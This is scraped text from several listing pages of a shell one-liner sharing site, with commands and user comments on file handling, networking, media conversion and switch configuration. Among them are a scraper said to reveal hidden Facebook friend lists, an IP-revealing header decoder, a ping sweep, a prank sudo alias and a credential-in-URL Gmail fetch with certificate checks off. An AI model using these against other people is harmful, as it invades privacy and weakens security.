'([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])' echo "23.23.12.24" | grep -P '([01]?\d?\d|2[0-4]\d|25[0-5])\.([01]?\d?\d|2[0-4]\d|25[0-5])\.([01]?\d?\d|2[0-4]\d|25[0-5])\.([01]?\d?\d|2[0-4]\d|25[0-5])' 23.23.12.24 find <path> -name "*.tgz" -or -name "*.tar.gz" | while read file; do echo "$file: "; tar -tzf $file; done Functions: echo find read tar List files in tarballs This script will list all the files in the tarballs present on any folder or subfolder of the provided path. The while loop is for echoing the file name of the tarball before listing the files, so the tarball can be identified smartypants | php -r "echo mb_decode_numericentity(file_get_contents('php://stdin'),array(0x0000,0xFFFF,0x0000,0xFFFF),'UTF-8');" Turn Regular quotes ("") into curly quotes (??) Turns regular quotes into curly quotes, also converts hyphens to dashes using a heuristic and outputs the result as UTF-8, suitable to copy/paste into wordprocessor. requires: http://daringfireball.net/projects/smartypants/ (which does most of the work) (I renamed smartypants.pl to smartypants before adding it to my $PATH) Also requrires PHP with the multibyte module installed (its installed by default with PHP, but the sysadmin on one server I use disabled it... presumadly to increase performance or something). ‹ First < 306 307 308 309 310 > Last › svmon -P [PID] -O filename=on wget -qO- whatismyip.org $ wget -qO- whatismyip.org 74.125.67.100$ Get own public IP address find . -name "*noticia*" -name "*jhtm*" -name "*.tpl" -exec grep -li "id=\"col-direita\"" '{}' \; | xargs -n1 mate find files containing specifc pattern on filename and specific patternts in its content, open all in textmate curl -s http://geoiplookup.wikimedia.org/ | python3 -c 'import sys, json, string, webbrowser; webbrowser.open(string.Template("http://maps.google.com/maps?q=$lat,$lon").substitute(json.loads(sys.stdin.read().split("=")[-1])))' where am I in google map? over myscript.sh Nice way to view source code over works like 'more' or 'less', but it pretty print the source code ifconfig | grep "inet addr" | cut -d: -f2 | cut -d' ' -f1 echo "shutdown -h now" | sudo at now + 4 hours Functions: at echo sudo Benefit is that it doesn't make you keep the terminal open. awk '{print $0/60;}' /proc/uptime Get info directly from /proc/uptime curl --silent http://exsample.com/ | xmllint --html --format - | more html formatting look mysql /etc/group # look mysql /etc/group mysql:x:125: Functions: look Look search for lines in a file that beginning with a given string. Same as $ grep ^n /etc/passwd cut -f2 file.txt | cut -d " " -f1 get one field inside another that is delimited by space echo 'Host or User@Host?:'; read newserver && ssh-keygen -N "" -t rsa -f ~/.ssh/id_rsa ; ssh $newserver cat <~/.ssh/id_rsa.pub ">>" ~/.ssh/authorized_keys ; ssh $newserver Functions: cat echo read ssh ssh-keygen Automatd ssh public key setup without ssh-copy-id Some servers don't have ssh-copy-id, this works in those cases. It will ask for the destination server, this can be IP, hostname, or user@hostname if different from current user. Ssh keygen will let you know if a pubkey already exists on your system and you can opt to not overwrite it. zsh$ M-v bash / vim workflow cyanide(){ display "$(wget -q http://explosm.net/comics/random/ -O - | grep -Po 'http://www.explosm.net/db/files/Comics/*/[^"]+(png|jpg|jpeg)')"; } Random Cyanide and Happiness comics from explosm.net Random Cyanide and Happiness comics from explosm.net. I use this command http://www.commandlinefu.com/commands/view/3477/random-xkcd-comic and update it for explosm.net --edit : modification for *.jpeg files + guest authors bdf | awk '(NF<5){f=$1; next} (NF>5){f=$1} {print f, $2, $3, $NF}' Takes a multi line df or bdf and turns it into just one line while true ; do du -sk testfile ; sleep 10 ; done Functions: du sleep true This command produces the output of "du -sk testfile" in every 10 seconds. You can change the command to be whatever you want. for F in $(find ./ -name "*.tgz") ; do tar -tvzf $F ; done [alchandia@localhost Cacti]$ tar -tvzf cacti-iostat-1.3.tgz drwxr-xr-x alchandia/users 0 2009-05-18 06:02:27 cacti-iostat-1.3/ drwxr-xr-x alchandia/users 0 2009-05-18 06:02:27 cacti-iostat-1.3/scripts/ -rwxr-xr-x alchandia/users 5087 2009-05-18 06:02:12 cacti-iostat-1.3/scripts/iostat.pl The magic is performed by the parameter -t alias sshdo='ssh -q -t root@localhost -- cd $PWD \&\& sudo' Functions: alias cd sshdo, an alternative to sudo Run program as root by SSH key forwarding instead of sudoers. Put this alias line in .bashrc or wherever you like. Alias arguments might need extra escaping. You might wonder about security. But you'd block out root login as much as possible of course. In sshd_config you put this: PermitRootLogin no Match Address 127.0.0.1 mplayer -shuffle $HOME/music/* $HOME/Dropbox/Music/*/* $HOME/Dropbox/Music/*/*/* etc. >> /dev/null 2>&1 Shuffles your songs. Using mplayer. But with no output. ls | sed 's/.*/"&"/' Looks like you're stuck with sed if your ls doesn't have a -Q option. ./poweriso extract $USER/file.daa / -od $USER/file_extracted Extract .daa files with PowerISO .daa is a non-standard disk image format that can not be read by any other program. This is how you can extract the files though. PowerISO binary for Linux: http://www.poweriso.com/poweriso-1.3.tar.gz "This is a free utility for linux which can extract, list, and convert image files (including ISO, BIN, DAA, and other formats). Type " poweriso -? " for detailed usage information. File Size: 278KB" clamscan -ir --bell ~user/ Scan for viruses Scan for viruses, recursively and print only infected files, with bell sound. Clamscan is part of clamav package. Tested on Debian. wget -qO - http://cfaj.freeshell.org/ipaddr.cgi curl http://whatismyip.org [Ctrl+u] Undo (sh, bash, tcsh) ‹ First < 307 308 309 310 311 > Last › ls . | xargs file | grep text | sed "s/\(.*\):.*/\1/" | xargs gedit Functions: file grep ls sed xargs Edit all "text" files (exclude binary and directories) in the current directory for i in 192.168.1.{1..254} ; do if ping -c1 -w1 $i &>/dev/null; then echo $i alive; fi; done tar -cf - /etc | tar -xf - -C </destination/folder> wmic -U DOMAIN/user --password='password' //IP_HOST "select Caption,CSDVersion,CSName from Win32_OperatingSystem" | grep Windows wmic -U DOMAIN/user --password='password' //IP_HOST "select Caption,CSDVersion,CSName from Win32_OperatingSystem" | grep Windows wmi Get windows version with servicepack and hostname free -m | awk '/Swap/ {print $4}' 2979 simple way to show free swap ls -a | egrep "^\.\w" .bash_profile .bashrc .ssh trying to copy all your dotfiles from one location to another, this may help echo "X-Facebook: from zuckmail ([MTI3LjAuMC4x])" | cut -d \[ -f 2 | cut -d \] -f 1 | openssl base64 -d Facebook e-mail header X-Facebook IP deobfuscator Currently Facebook has updated their headers to display 127.0.0.1 but if you have saved e-mails from messages and FB related mail you can still reveal the IP. :) Tested on Mac OS X 10.6.3 tar -c directory_to_compress/ | pbzip2 -vc > myfile.tar.bz2 tar+pbzip2 a dir mount -t msdos /dev/fd0 /mnt/floppy mount a msdos formated floppy disk -t option tells the system to look for a msdos filesystem The /dev/fd0 is your floppy drive ( This may be different for you check /dev folder to confirm) /mnt/floppy is the point where you want to mount the device to rm -fr `find . -name Thumbs.db` Shorter site="http://gifbin.com/"; for i in $(wget -qO- "$site"random| sed -r "s/^.*(bin\/.+\.gif).*$/\1/m" | grep "^bin"); do wget -c "$site$i"; filename=`basename $i`; [ `identify $filename | wc -l` -gt 1 ] || rm -f $filename; done Functions: grep rm sed wc wget ssh -C -X user@remotehost gui_command Run Remote GUI Programs Using SSH Forwarding Run GUI apps on another machine remotely through SSH. -C is for data compression and -X enables X11 forwarding. n=$RANDOM$RANDOM$RANDOM; let "n %= 10000000000"; echo $n cat /proc/acpi/battery/*/state present rate: 0 mA purple-remote "msn:getinfo?screenname=xxx" get msn buddy's info files -type f | xargs -n100 | while read l; do mkdir $((++f)); cp $l $f; done Functions: cp mkdir read xargs Take a folder full of files and split it into smaller folders containing a maximum number of files. In this case, 100 files per directory. find creates the list of files xargs breaks up the list into groups of 100 for each group, create a directory and copy in the files Note: This command won't work if there is whitespace in the filenames (but then again, neither do the alternative commands :-) 172.0.0.100 With a lolcat favicon if you access it from your browser ps -a |grep cat |wc -l Functions: cat grep ps wc lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=Bilal Butt&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2 View facebook friend list [hidden or not hidden] perl -lpe'1 while s/^([-+]?\d+)(\d{3})/$1.$2/' # echo "1234435324523443212343241" | perl -lpe'1 while s/^([-+]?\d+)(\d{3})/$1.$2/' 1.234.435.324.523.443.212.343.241 Inserting a decimal every third digit self explanatory see sample output for k in *.png; do convert $k -crop <width>x<high>+<cropwidth>+<cropthigh> <newpath>/$k; done batch crop images whit imagemagik Crop several images by imagemagik's convert command. substitute , ,, with pixel value and with a different existent directory. tail -f file | egrep --color=always $\|PATTERN seq 1111 1122|egrep --color=always $\|12 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 but you can't see the colors in that sample output :( umount -l /media/foo Unmount locked filesystems. Will unmount a mount that has already dropped but is locked by a process. echo "alias sudo=\"aplay annoyingsoundfile.ogg\"" >> .bash_aliases Rickroll your users who try to sudo cut -f1 -d"<TAB>" cut with tab or other white space chars cut -f1 -d\<TAB> ‹ First < 308 309 310 311 312 > Last › for i in **/*.gif; convert $i $i:r.jpg Convert images (foo.gif => foo.jpg) printf "%02d:%02d\n" $(curl -s "http://search.twitter.com/search?from=zurvollenstunde&rpp=1" | grep -E '(Es ist jetzt|ago)' | sed 's/<[^>]*>//g;s/[^[:digit:]]//g' | xargs ) 20:11 Functions: grep printf sed xargs Calc the rough time from Twitter. Now with leading Zeroes. echo -e "GET /ip HTTP/1.0\nUser-Agent: netcat\nHOST: ifconfig.me\n\n" | nc ifconfig.me 80 | sed -n '/^[0-9]/p' Here's a version that uses netcat (although I'd much rather use curl!). find . -type f -exec chmod 640 {} ';' x86info specific information about your intel CPUs in your system and their features function lsless() { ls "$@" | less; } Pipe ls output into less This is useful for paging through long directories, mulitple directories, etc. I put this in my ~/.bash_aliases file and alias 'lsl' to it. mysql>use DBNAME; mysql>source FILENAME import database fold -w 1 <file> | grep -c <character> Functions: fold grep counting a particular character in a file find . -type f | xargs grep -n "Old Text" | tee filesChanged.txt | sed 's/:.*$//' | xargs sed -i 's/Old Text/New Text/g Functions: find grep sed tee xargs Find/Replace in a bunch of files and keep a log of the changes This is a more concise answer to http://blog.commandlinekungfu.com/2011/09/episode-158-old-switcheroo.html in my opinion. mkpasswd -5 pa33w0rd saltsalt $1$saltsalt$J9FHdD60EASotLk.KSSI4/ generate /etc/shadow-style password find /dev/ -name random -exec bash -c '[ -r $0 -a -w $0 ] && dd if=$0 | sort | dd of=$0' {} \; Functions: bash dd find sort sorts /dev/random mysqladmin -u username -p create dbname No output unless verbose Create a mysql database from the command line Creates a database that could then be populated with a dump file or application. startx > startx.log 2>&1 startx output to log file hdid somefile.dmg diruse /,/M/* .|sort count directory space usage in current directory with sort for microsoft windows there is need of admin pack installed ( http://www.microsoft.com/downloads/en/details.aspx?FamilyID=c16ae515-c8f4-47ef-a1e4-a8dcbacff8e3 ) find . -name .svn | xargs rm -rf Recursively delete .svn folders Found here: http://xentek.net/xentek/315/recursively-delete-svn-folders/ This is fast and efficient because rm is only run once. curl -s http://api.wunderground.com/auto/wui/geo/ForecastXML/index.xml?query=${@:-<YOURZIPORLOCATION>}|xmlstarlet sel -E utf-8 -t -m //forecast/txt_forecast/forecastday -v fcttext -n you can use xmlstarlet to parse output instead of perl alias kfire='for i in `ps aux | grep [F]irefox `; do echo $i; kill $(($i)); done; ' $ kfire swerve 17165 1.6 -bash: 1.6: syntax error: invalid arithmetic operator (error token is ".6") Functions: alias echo grep kill alias ps | grep This is an attempt to get a command which I can alias. It's ugly but it works. I'm hoping someone can suggest a cleaner version. I have tried.... # alias kfire="for i in $( ps aux | grep [F]irefox | awk \'{print $2}\' ); do kill $; done" # alias kfire=`kill $(ps aux | grep [F]irefox | awk '{print $2}' | tr '\n' ' ')` # alias kfire='ps au | grep -i [F]irefox | awk \'{ print $2 \'} ' and they all fail in a .bashrc I've tried escaping the quotes and can't find a way to make the single quotes ' that awk wants work. Maybe I'm just stubborn but I don't want to put in a little #!/bin/bash file just so I can kill a firefox process all in one stroke. This script works (it kills the process before it errors out)... it's just ugly and there may be a pretty way to do this. ps ux|grep <process name>|awk '{print $2}'|xargs -n 1 kill watch -tn1 'bc<<<"`date -d'\''friday 21:00'\'' +%s`-`date +%s`"|perl -ne'\''@p=gmtime($_);printf("%dd %02d:%02d:%02d\n",@p[7,2,1,0]);'\' 4d 23:15:43 Functions: perl watch Not so simple countdown from a given date An improved version of http://www.commandlinefu.com/commands/view/1772/simple-countdown-from-a-given-date that uses Perl to pretty-print the output. Note that the GNU-style '--no-title' option has been replaced by its one-letter counterpart '-t'. alias connectAllMachines='Terminal --maximize -e "ssh server1" --tab -e "ssh server2" --tab -e "ssh server3"' Alias to connect every single node of cluster Terminal is part of XFCE Desktop. This will open a tab for every node that we pass in the command line. In a single line we'll connect to nodes of our server farm. netstat -alpn | grep :80 | awk '{print $4}' |awk -F: '{print $(NF-1)}' |sort | uniq -c | sort -n 1 127.0.0.1 8 192.168.1.147 21 192.168.1.146 Checking total connections to each Ip inserver Useful to check DDoS attacks on servers. dir="/bin"; man $(ls $dir |sed -n "$(echo $(( $RANDOM % $(ls $dir |wc -l | awk "{ print $1; }" ) + 1 )) )p") Functions: dir ls man sed Broaden your knowledge of the utilities available to you in no particular order whatsoever! Then use that knowledge to create more nifty one-liners that you can post here. =p Takes a random number modulo the number of files in $dir, prints the filename corresponding to that number, and passes it as an argument to man. kinit username kerberos authentication ‹ First < 309 310 311 312 313 > Last › man $(ls /bin | sed -n $((RANDOM % $(ls /bin | wc -l) + 1))p) Functions: ls man sed wc Great idea camocrazed. Another twist would be to display a different man page based on the day of the year. The following will continuously cycle through all man pages: man $(ls /bin | sed -n $(($(date +%j) % $(ls /bin | wc -l)))p) yes n | cp something toSomeWhereElse /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --proxy-server=socks5://HOST:PORT Start Chrome with socks on Mac OSX :rm 1 remove file named 1 after fat fingeriing :w! in vi _llines=100; while [ $_llines -gt 1 ]; do echo $_llines; _llines=$(($_llines-1)); done 20 Quickly determine lines in terminal You've opened a terminal window and you've connected off to a remote host that didn't pick up your terminal size, and all your curses and paging apps are screwed up as a result. You need to quickly determine how many lines are in your current terminal view (to feed into "stty rows X"). skill -KILL -t ttyS0 Kill an orphan console when sometimes do a "w" or "who" command and see an orphan console session from time ago, you could kill with this command. where ttyS0 its the console to kill. cd $(find -inum inode_no) Change directory by inode First use ls -i to list files and directories with their inode number Then if you want to change to one of the directories, replace inode_no with its inode then execute the command mount -o auto -t ntfs /dev/hda1 /windows Mount a windows partition in a dual boot linux installation...[Read Only Mounting] if the command is successful , you will get no output - only if an error has occurred will there be output video=$(ls /tmp | grep -e Flash\w*); ffmpeg -i /tmp/$video -f mp3 -ab 192k ~/ytaudio.mp3 Script to rip the audio from the youtube video you have open in firefox Must have the video open and fully loaded. find . -name '*.txt' | grep -v '\.lzma$' | xargs -n 1 lzma -f -v -3 rm **/*.htm expands through shell and not find but may hits the limit of max argument size for rm (thus: for f in **/*.htm;do rm $f;done but then I prefer the find command ;) for i in $(ls /the/path); do du -hs /the/path/$i; done Functions: du ls Get the size of every directories and files in a path recursively A simple way using a for loop Make all files in your current directory lower case for domain in `cat list_of_domains.txt`; do echo $domain; whois $domain >> output.txt; done Functions: echo whois whois multiple domains Outputs multiple whois from a plain text file. vim -p file1 file2 [...] Open files in tabs with vim Open files in tabs lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=4&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2 view user friends cat /var/log/secure | grep smtp | awk '{print $9}' | cut -f2 -d= | sort | uniq -c | sort -n | tail Functions: awk cat cut grep sort uniq List SMTP connections by host Searches /var/log/secure for smtp connections then lists these by number of connections made and hosts. tcpdump -n -v tcp or udp or icmp and not port 22 show all upd tcp an icmp traffic but ssh alias cstdin='echo "Ctrl-D when done." && gcc -Wall -o ~/.stdin.exe ~/.stdin.c && ~/.stdin.exe' $ cat ~/.stdin.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <utmp.h> #include <errno.h> int main(int argc, char *argv[]) { #include "/dev/tty" return 0; $ cstdin Ctrl-D when done. printf("Size of an unsigned long long is %lu\n", sizeof (unsigned long long)); Size of an unsigned long long is 8 Functions: alias gcc This is a quick hack to make a gcc caller. Since it runs with gcc instead of tcc, it's a bit more trustworthy as far as the final answers of things go. wget -O - 'https://USERNAMEHERE:PASSWORDHERE@mail.google.com/mail/feed/atom' --no-check-certificate ?xml version="1.0" encoding="UTF-8"?> <feed version="0.3" xmlns="http://purl.org/atom/ns#"> <title>Gmail - Inbox for patrick.archibald@gmail.com New messages in your Gmail Inbox 1 2010-09-26T14:39:24Z Your Order with Amazon.com Amazon.com Logo Thanks for your order, Patrick L Archibald! Want to manage your order online? If ... 2010-09-25T15:06:30Z 2010-09-25T15:06:30Z tag:gmail.google.com,2004:1347868102431815180 auto-confirm@amazon. auto-confirm@amazon.com -3 Using wget to receive an XML atom feed of your Gmail inbox I use this command in my Conky script to display the number of messages in my Gmail inbox and to list the from: and subject: fields. get-ipsw(){ curl -s -L http://phobos.apple.com/version | sed -rn "s|[\t ]*(http://appldnld\.apple\.com\.edgesuite\.net/content\.info\.apple\.com/iPhone[0-9]?/[^/]*/$1$2_$3_[A-Z0-9a-z]*_Restore\.ipsw)|\1|p" | uniq; } http://appldnld.apple.com.edgesuite.net/content.info.apple.com/iPhone4/061-7435.20100621.tr49t/iPod2,1_4.0_8A293_Restore.ipsw Functions: get sed Get iPhone OS firmware URL (.ipsw) get-ipsw device-name generation-string firmware-version get-ipsw iPod 2,1 4.0 iPhone 3G: iPhone 1,2 iPhone 3GS: iPhone 2,1 iPod touch 2G: iPod 2,1 iPod touch 3G: iPod 3,1 This can be used with idevicerestore (I haven't tried it though). http://github.com/posixninja/idevicerestore Based on: http://www.tuaw.com/2010/06/21/ios-4-0-firmware-release-expected-momentarily-quick-terminal-ti/ require 'time';backup_dir = '/path';Dir.glob(backup_dir+"/*.sql").each{ |f| filetime = Time.parse(`mdls -name kMDItemContentCreationDate -raw #{f}`);monthago = Time.now - (30 * 60 * 60 * 24);`rm #{f}` if filetime < monthago } delete files older than 1 month in a directory grep -Pv '^\S*(#|$)' nohup VBoxHeadless -p 3052 -startvm ServidorProducao & Running VirtualBox as headless timelimit -t100 somecommand Will send a SIGHUP after 100s, then a SIGKILL if needed. Signals and time inbetween can be changed. I found this in Ubuntu repos, and consider it better than timeout. ‹ First < 310 311 312 313 314 > Last › echo $EPOCH|awk '{print strftime("%c",$1)}' apropos keyword greps the man pages to find utilities tar zxvf package.tar.gz --strip 1 script.sh tar - extract only one file if I need get olnly script.sh from "folder/script.sh" find . -type f -exec grep StringToFind \{\} --with-filename \;|sed -e '/svn/d'|sed -e '/~/d' Functions: find grep sed Look for a string in one of your codes, excluding the files with svn and ~ (temp/back up files) Look for a string in one of your codes, excluding the files with svn and ~ (temp/back up files). This can be useful when you're looking for a particular string in one of your source codes for example, inside a directory which is under version control (e.g. svn), removing all the annoying files with ~ (tilde) from the search. you can even change the command after -exec to delete (rm) or view (cat) files found by 'find' for example df | grep -w /media/KINGSTON | awk {'print $1'} Functions: awk df grep most usefull when creating batch scripts using several usb drives and some commands like mkntfs needs a device name the -w option for grep is here to filter lines when you have multiple drives with the same volume label. Without this option, the grep command will return /media/KINGSTON /media/KINGSTON_ /media/KINGSTON__ export DISPLAY=":0.0" && import -window root screenshot.png Remote Screenshot Like the given command, but combines _DISPLAY=":0.0"_ with _export DISPLAY_ to get _export DISPLAY=":0.0"_ and only imports if DISPLAY is set successfully. paste -sd'+' file|bc -l Functions: bc paste pwgen 30 pwgen 30 for i in $(seq 300) ; do ethtool -s eth0 autoneg on ; sleep 2 ; done Functions: seq sleep if you are alone and have to determine which switch port your server ends ... here we go use this comand to see which switch port your network interface is using. but remind, there is no network traffic for 10 minutes or how long you run the comand. if you start the comand via ssh, port will come up again after the "for loop" has endet schtasks /delete /tn * /f delete all tasks scheduled for the local computer pidof httpd | wc -w Functions: pidof wc Returns the number of running httpd processes netstat -l -p --tcp | egrep -e 'www.*[0-9]{3,4}\/(apache2|httpd)' | awk '{print$7}' Functions: awk egrep netstat curl -s -O http://s3.amazonaws.com/alexa-static/top-1m.csv.zip ; unzip -q -o top-1m.csv.zip top-1m.csv ; head -1000 top-1m.csv | cut -d, -f2 | cut -d/ -f1 > topsites.txt Functions: cut head get a list of top 1000 sites from alexa this will dump a list of domains one per line into a text file pgrep -u username php5-fcgi | xargs kill -9 Functions: kill xargs xxcopy x:\folder1 y:\folder2 /s /h /tca /tcc /tcw /yy xxcopy everything from one Windows box to another friends don't let friends use Robocopy! for f in `find ./ -name "*.zip"` ; do p=`pwd`; d=`dirname $f`; cd $d; b=`basename $f`; unzip $b; cd $p; done unzip all zip files under a current directory in the directory those files were in unzips all zip files in any subdirectory under the current directory. The zip files are unzipped in their respective subdirs du -hs /example/folder/ 3,3G /example/folder/ Outputs size of /example/folder in human readable format. Built-in function in linux, should work on any distro get debian version number cat /etc/debian_version sudo dpkg -P $(dpkg -l | grep -i adobeair) uninstall Air on Ubuntu dd if=/dev/sdX of=/root/sdX.bin bs=1M count=1 1048576 bytes (1.0 MB) copied, 0.0718711 seconds, 14.6 MB/s Backup the first 1MB of your volume This will copy the first 1MB of your /dev/sdX volume to your /root/sdX.bin file, where SDX is the name of the device you wish to copy the data from (Usually a hard disk) NOTE: Make sure you capitalize the M in field for BS. mysql -? | grep ".cnf" /etc/my.cnf /etc/mysql/my.cnf /usr/local/mysql/etc/my.cnf ~/.my.cnf See where MySQL is looking for its config files This will show the locations, in order of preference, that MySQL will look for a configuration file > [filename] /home/bbbco> > test.txt /home/bbbco> Empty a file of contents Ever need to erase the contents of a file and start over from scratch? This easy command allows you to do so. Be warned! This will immediately erase all the contents of your file and start you over from scratch (i.e. your file will be at 0 bytes, like if you touch a file). echo "string" | sed -e 's/.*match1//' -e 's/match2.*$//' Print out "string" between "match1" and "match2" But who knows to delete the rest of the lines? I want only "string". ifconfig eth0 | grep 'HWaddr' | awk '{print $5}' | tr 'a-z' 'A-Z' | sed -e 's/://g' Functions: awk grep ifconfig sed tr Get the mac address of eth0 in uppercase minus the colons This will get the mac address of the eth0 and change lowercase to uppercase. The sed command removed the colons. lame rec01.wav rec01.mp3 Convert wav to mp3 ‹ First < 311 312 313 314 315 > Last › sudo sox .wav -r 8000 .gsm Convert .wav audio files to .gsm forman List all files in current directory by size ls -l `ls -l |awk '/^l/ {print $8}'` ls -l may vary depending on operating system, so "print $8" may have to be changed Convert .wav audio files to .gsm format sed '/^$/d' file >newfile Remove blank lines from a file and save output to new file curl -s http://urlxray.com/display.php?url=http://tinyurl.com/demo-xray | grep -o '.*' | sed 's/.*--> \(.*\)<\/title>/\1/g' http://urlxray.com/sex-so-hot-it-will-blow-your-mind.php (Note: this result is totally SFW) We can put this inside a function: fxray() { curl -s http://urlxray.com/display.php?url="$1" | grep -o '<title>.*' | sed 's/.*--> \(.*\)<\/title>/\1/g'; }; fxray http://tinyurl.com/demo-xray get_absolute_path() { echo $1 | sed "s|^\([^/].*/.*\)|$(pwd)/\1|;s|^\([^/]*\)$|$(which -- $1)|;s|^$|$1|"; } $ get_absolute_path ls $ cd /bin $ get_absolute_path ./ls Returns the absolute path to a command, using which if needed It will return the absolute location of the called a script. If is in $PATH, it will search it using which. You can combine this function with this other one: http://www.commandlinefu.com/commands/view/9252/readlink-equivalent-using-shell-commands-and-following-all-links, to get a way to know where is the real location of a called script: # Returns the realpath of a called command. whereis_realpath() { local SCRIPT_PATH=$(whereis $1); myreadlink ${SCRIPT_PATH} | sed "s|^\([^/].*\)\$|$(dirname ${SCRIPT_PATH})/\1|"; } tar -C <source_dir> -cf . | tar -C <dest_dir> -xf - cd $(ls -1t --color=never | head -1) Functions: cd head ls open the last folder created hourglass(){ s=$(($SECONDS +${1:-10}));(tput civis;while [[ $SECONDS -lt $s ]];do for f in '|' ' ' '\-' /;do echo -n $f&&sleep .2s&&tput cub1;done;done);tput cnorm; } hourglass () local b=`tput cub1` s=$(($SECONDS +${1:-10})); ( tput civis; while [[ $SECONDS -lt $s ]]; do done ); tput cnorm The famous hourglass animation on windows lets you know it's busy working on something.. On Apples it's a 3d rainbow circle that spins. Hourglass features are built into all guis, but what about for commandline interfaces? Most common you will have a series of ... that indicate progress, or a series of ### across the screen like the curl download progress bar. This is different in that it only takes up a single character's space on the screen, but continually rotates the character in that position to give the illusion of a rotating hourglass. You can call this function with a param of how many seconds it should continue running before it ends, or you can ctrl-c out of it at any time. It's useful for scripts because it disables the visible cursor so users will understand they should be patient while the hourglass makes its rounds. You could make this much much much more efficient by saving the output of the 'tput cub1' command into a local var and echoing that.. (Had to make it shorter to fit). Then this is about as builtin of a function as you can get, so ideal if its used while heavy background processing s going on like archiving, transferring, compiling, etc. See ( http://www.askapache.com/linux-unix/bash-power-prompt.html ) for more examples of efficient builtin use. Here is the efficient version (which is easily verified by strace): hourglass () local b=`tput cub1` s=$(($SECONDS +${1:-10})); ( tput civis; while [[ $SECONDS -lt $s ]]; do for f in '|' ' ' '\-' /; echo -n $f && sleep .2s && echo -ne $b; done; done ); tput cnorm Useful? Maybe. Cool? Zero Cool. sudo iptables-save > /etc/iptables.up.rules Functions: iptables-save sudo Save iptables firewall info Stores the currently active iptables rules to a file that will be applied upon reboot find . -name "*.EXT" | xargs grep -n "TODO" | wc -l Counts the number of TODOs in files with extension EXT found from the current dir. sed -i '/Centos/d' VirtualBox.xml Simple but useful command, I use this for purge an hard disk entry in Virtualbox registry file (is in ~user/.Virtualbox) that persist if I erase a Virtual Machine, so I need to delete it manually. system max <some value> foundry-now-Brocade(config)#system-max ? dvmrp-mcache Max DVMRP mcache dvmrp-route Max DVMRP routes igmp-max-group-addr Max IGMP group addresses ip-arp Max ARP entries ip-cache Max IP cache ip-filter-sys Max IP ACL filter entries ip-route Max IP routes ip-static-arp Max static ARP entries ip-subnet-port Max IP subnet per port ipv6-cache Max IPV6 cache ipv6-route Max IPV6 routes l2-acl-table-entries Max L2 ACL entries per ACL table mac Max MAC entries mgmt-port-acl-size Max size for management port ACL multicast-route Max multicast routes pim-mcache Max PIM mcache rstp Max RSTP instances session-limit Max sessions spanning-tree Max Spanning tree instances values System default parameter values virtual-interface Max virtual interfaces vlan Max VLANs <cr> Change default values on Foundry (Brocade) RX and MLX BigIron L3 (routers & switches) The sample output, is a display of the values you can change, using this command. After a change of of these settings you will need to reload the box, by typing...wait...wait for IT: 'reload'. This comes in handy when working with the RX hardware, for example, which has a base limitation of 32 (RSTP (802-1w) instances. For all of you paying attention that means if you run RSTP on a RX you can only have 32 VLANs. Sure, you can have common groups of VLANs, like back in the day style MSTP, PVST, PVST+ (and all that old STP (802.1d) mess), before "per vlan spanning-tree", RSTP (802-1w), was made. But who wants to do all that? Place a filename at the beginning of the line to make it easier to edit the search at the end of the command. $ </var/log/messages grep foo $ </var/log/messages grep bar $ </var/log/messages grep user1 Functions: at make Place a filename at the beginning of the line to make it easier to edit the search at the end of the command. Place a filename at the beginning of the line to make it easier to edit the search at the end of the command. alias w3m='w3m -cookie' let w3m usecookie no untag Default-VLAN-2929#no untag eth 1/1 Important 'default VLAN' command, for Foundry (Brocade) RX and MLX BigIron L3 (routers & switches) 'no untag' is applied to _all_ ports under the default VLAN. Otherwise the default VLAN runs untagged over all physical ports. Pretty good idea to 'prune' your VLANs and define which ones pass over and across trunks that carry the default VLAN traffic. cal -3 $ cal -3 Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa 1 2 3 4 5 6 7 1 2 3 4 1 2 8 9 10 11 12 13 14 5 6 7 8 9 10 11 3 4 5 6 7 8 9 15 16 17 18 19 20 21 12 13 14 15 16 17 18 10 11 12 13 14 15 16 22 23 24 25 26 27 28 19 20 21 22 23 24 25 17 18 19 20 21 22 23 the -3 show the previous, current, and next month. ls *.wav | while read f; do lame "$f" -o "$(echo $f | cut -d'.' -f1)".mp3; done; Functions: ls read rstp priority 0 vlan 500 name Some-VLAN-fan-SomePlace rstp priority 0 This is how you make sure that ports in a VLAN remain, root ports. Typically, you would use this command on all your Core-1 switch VLAN ports, and then use 'rstp priority 1' on all your Core-2 switches. This is if you have a dual L3 core that is. rm !(*.txt) remove all files except *.txt aaa authentication login default local tacacs+ aaa authentication login default local tacacs+ aaa authentication login privilege-mode tacacs-server host 192.765.437.123 tacacs-server host 192.764.954.321 tacacs-server key 1 <some Key G> tacacs+ Auth to (Cisco ACS) from Foundry (Brocade) RX and MLX BigIron L3 (routers & switches) You need all those commands, in the sample output. I had some of this, but had to play, add remove, type random stuff like a monkey to finally get this working (clearly those IP's are fake to protect the guilty, and so is the key). ntfsclone to clone an NTFS partition Although not frequently used, it is possible to clone an NTFS partition to an image file and, where necessary, restore the image to another partition. This command is useful, for example, if we want to keep a backup copy of our Windows installation, or in a corporate environment to install or repair a Windows of one or more computers. For the command syntax is refer to the documentation (man ntfsclone) show optic <slot #> some-Foundry-now-Brocade#sh optic 1 Port Temperature Tx Power Rx Power Tx Bias Current Monitor +----+-----------+--------------+--------------+---------------+-------+ 1/3 N/A N/A N/A N/A 1/4 N/A N/A N/A N/A 1/7 N/A N/A N/A N/A 1/8 N/A N/A N/A N/A fiber power levels on Foundry (Brocade) RX and MLX BigIron L3 (routers & switches) Okay, Jimmy, the command 'optical-monitor' is needed within the global config. for this command to work (and if supported by your licsense: yada yada, blah, blah). But, like its mad PHAT Kid, you dig? Basically, a Foundry/Brocade switch is reading the Laser light levels just like those Fiber test kits from Owl that cost 4k. I know, I also find it hard to contain myeself ;-) No really..... yum install fortune-firefly; fortune Firefly quotes ‹ First < 312 313 